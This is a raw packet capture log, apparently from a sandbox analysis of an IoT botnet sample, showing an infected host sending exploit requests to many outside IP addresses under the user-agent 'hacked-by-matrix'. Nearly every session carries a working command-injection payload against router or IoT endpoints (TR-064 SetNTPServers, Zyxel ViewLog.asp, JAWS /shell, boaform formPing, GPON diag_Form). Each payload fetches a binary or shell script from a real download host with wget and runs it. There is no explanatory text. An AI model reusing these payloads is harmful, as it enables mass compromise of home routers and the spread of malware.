6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1242	192.168.2.13	48160	98.122.136.76	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:41.760766029 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1243	192.168.2.13	55696	82.65.178.34	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:41.766216993 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:42.362199068 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:42.931817055 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:44.022999048 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:44.196305990 CET	182	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 21 Mar 2024 04:18:44 GMT Content-Type: text/html Content-Length: 525 Connection: keep-alive ETag: "622f06cd-20d"
Mar 21, 2024 05:18:44.196321011 CET	1179	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>Freebox :: Ressource non trouve</title><link hre

Session ID	Source IP	Source Port	Destination IP	Destination Port
1244	192.168.2.13	56860	95.33.106.133	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:41.959566116 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1245	192.168.2.13	56864	95.33.106.133	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:42.166289091 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1246	192.168.2.13	33264	18.245.244.113	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:42.513484001 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:42.637847900 CET	927	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE

Session ID	Source IP	Source Port	Destination IP	Destination Port
1247	192.168.2.13	49622	74.139.81.157	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:42.636754990 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1248	192.168.2.13	56998	137.22.108.154	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:42.637150049 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1249	192.168.2.13	49658	74.139.81.157	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:42.772631884 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1250	192.168.2.13	44290	178.33.143.206	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:43.100600958 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:43.259922981 CET	1286	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 21 Mar 2024 04:18:43 GMT Content-Type: text/html Content-Length: 1454 Connection: keep-alive Expires: Thu, 01 Jan 1970 00:00:01 GMT Cache-Control: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6c 61 6e 67 75 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 72 75 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 74 69 74 6c 65 3e d0 92 d1 8b 20 d0 bd d0 b5 20 d1 80 d0 be d0 b1 d0 be d1 82 3f 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 2a 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 7d 69 6d 67 7b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 68 74 6d 6c 2c 62 6f 64 79 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 23 63 61 70 74 63 68 61 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 33 30 70 78 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 23 63 61 70 74 63 68 61 20 66 6f 72 6d 7b 6d 61 72 67 69 6e 3a 30 20 33 30 70 78 7d 23 63 61 70 74 63 68 61 20 75 6c 7b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 2e 33 29 3b 2d 77 65 62 6b 69 74 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 32 70 78 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 32 70 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 32 70 78 7d 23 63 61 70 74 63 68 61 20 75 6c 20 3e 20 6c 69 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 6c 69 73 74 2d 73 74 79 6c 65 3a 6e 6f 6e 65 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 74 6f 70 7d 23 63 61 70 74 63 68 61 20 62 75 74 74 6f 6e 2e 62 74 6e 7b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 7d 23 63 61 70 74 63 68 61 20 62 75 74 74 6f 6e 2e 62 74 6e 2c 23 63 61 70 74 63 68 61 20 69 6e 70 75 74 5b 6e 61 6d 65 3d 43 61 70 74 63 68 61 43 6f 62 65 5d 7b 77 69 64 74 68 3a 31 30 30 70 78 3b 70 61 64 64 69 6e 67 3a 35 70 78 20 30 7d 23 63 61 70 74 63 68 61 20 69 6d 67 7b 77 69 64 74 68 3a 33 35 30 70 78 7d 23 63 61 70 74 63 68 61 20 69 6e 70 75 74 5b 6e 61 6d 65 3d 43 61 70 74 63 68 61 43 6f 64 65 5d 7b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 3b 70 61 64 64 69 6e 67 3a 35 70 78 3b 77 69 64 74 68 3a 31 30 30 25 7d 3a 3a 2d 77 65 62 6b 69 74 2d 69 6e 70 75 74 2d 70 6c 61 63 65 68 6f 6c 64 65 72 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 3a 2d 6d 6f 7a 2d 70 6c 61 63 65 68 6f 6c 64 65 72 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 3a 3a 2d 6d 6f 7a 2d 70 6c 61 63 65 68 6f 6c 64 65 72 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 3a 2d 6d 73 2d 69 6e 70 75 74 2d 70 6c 61 63 65 68 6f 6c 64 65 72 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 63 61 70 74 63 68 61 22 3e 3c 66 6f 72 6d 20 6d 65 74 68 6f 64 3d 22 70 6f 73 74 22 20 61 63 74 69 6f 6e 3d 22 2f 63 68 65 63 6b 5f 63 61 70 74 63 68 61 22 3e 3c 75 6c 3e 3c 6c 69 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 63 61 70 74 63 68 61 22 3e 3c 2f 6c Data Ascii: <html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><meta name="language" content="ru"><meta name="viewport" content="width=device-width, initial-scale=1"/><title> ?</title><style>*{padding:0;margin:0}img{max-width:100%}html,body{text-align:center}#captcha{margin-top:30px;display:inline-block;text-align:center}#captcha form{margin:0 30px}#captcha ul{padding:10px;border:1px solid rgba(0,0,0,.3);-webkit-border-radius:2px;-moz-border-radius:2px;border-radius:2px}#captcha ul > li{display:block;list-style:none;vertical-align:top}#captcha button.btn{cursor:pointer}#captcha button.btn,#captcha input[name=CaptchaCobe]{width:100px;padding:5px 0}#captcha img{width:350px}#captcha input[name=CaptchaCode]{margin:10px 0;padding:5px;width:100%}::-webkit-input-placeholder{text-align:center}:-moz-placeholder{text-align:center}::-moz-placeholder{text-align:center}:-ms-input-placeholder{text-align:center}</style></head><body><section id="captcha"><form method="post" action="/check_captcha"><ul><li><img src="/captcha"></l
Mar 21, 2024 05:18:43.259938955 CET	403	IN	Data Raw: 69 3e 3c 6c 69 3e 3c 64 69 76 3e 3c 69 6e 70 75 74 20 6e 61 6d 65 3d 22 43 61 70 74 63 68 61 43 6f 64 65 22 20 6d 61 78 6c 65 6e 67 74 68 3d 22 36 22 20 74 79 70 65 3d 22 74 65 78 74 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 d0 92 d0 b2 d0 b5 Data Ascii: i><li><div><input name="CaptchaCode" maxlength="6" type="text" placeholder=" "></div><div><button type="submit" class="btn" id="b" disabled></button></div></li></ul></form><script>document.addEv
Mar 21, 2024 05:18:43.259951115 CET	315	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Thu, 21 Mar 2024 04:18:43 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1251	192.168.2.13	40700	62.166.224.208	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:43.240817070 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:43.799048901 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:44.855009079 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:47.091840029 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:51.446986914 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:59.891905069 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
1252	192.168.2.13	48846	95.35.25.69	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:43.667401075 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1253	192.168.2.13	34260	37.196.175.14	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:43.965787888 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1254	192.168.2.13	34220	212.145.31.236	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:43.965811014 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: 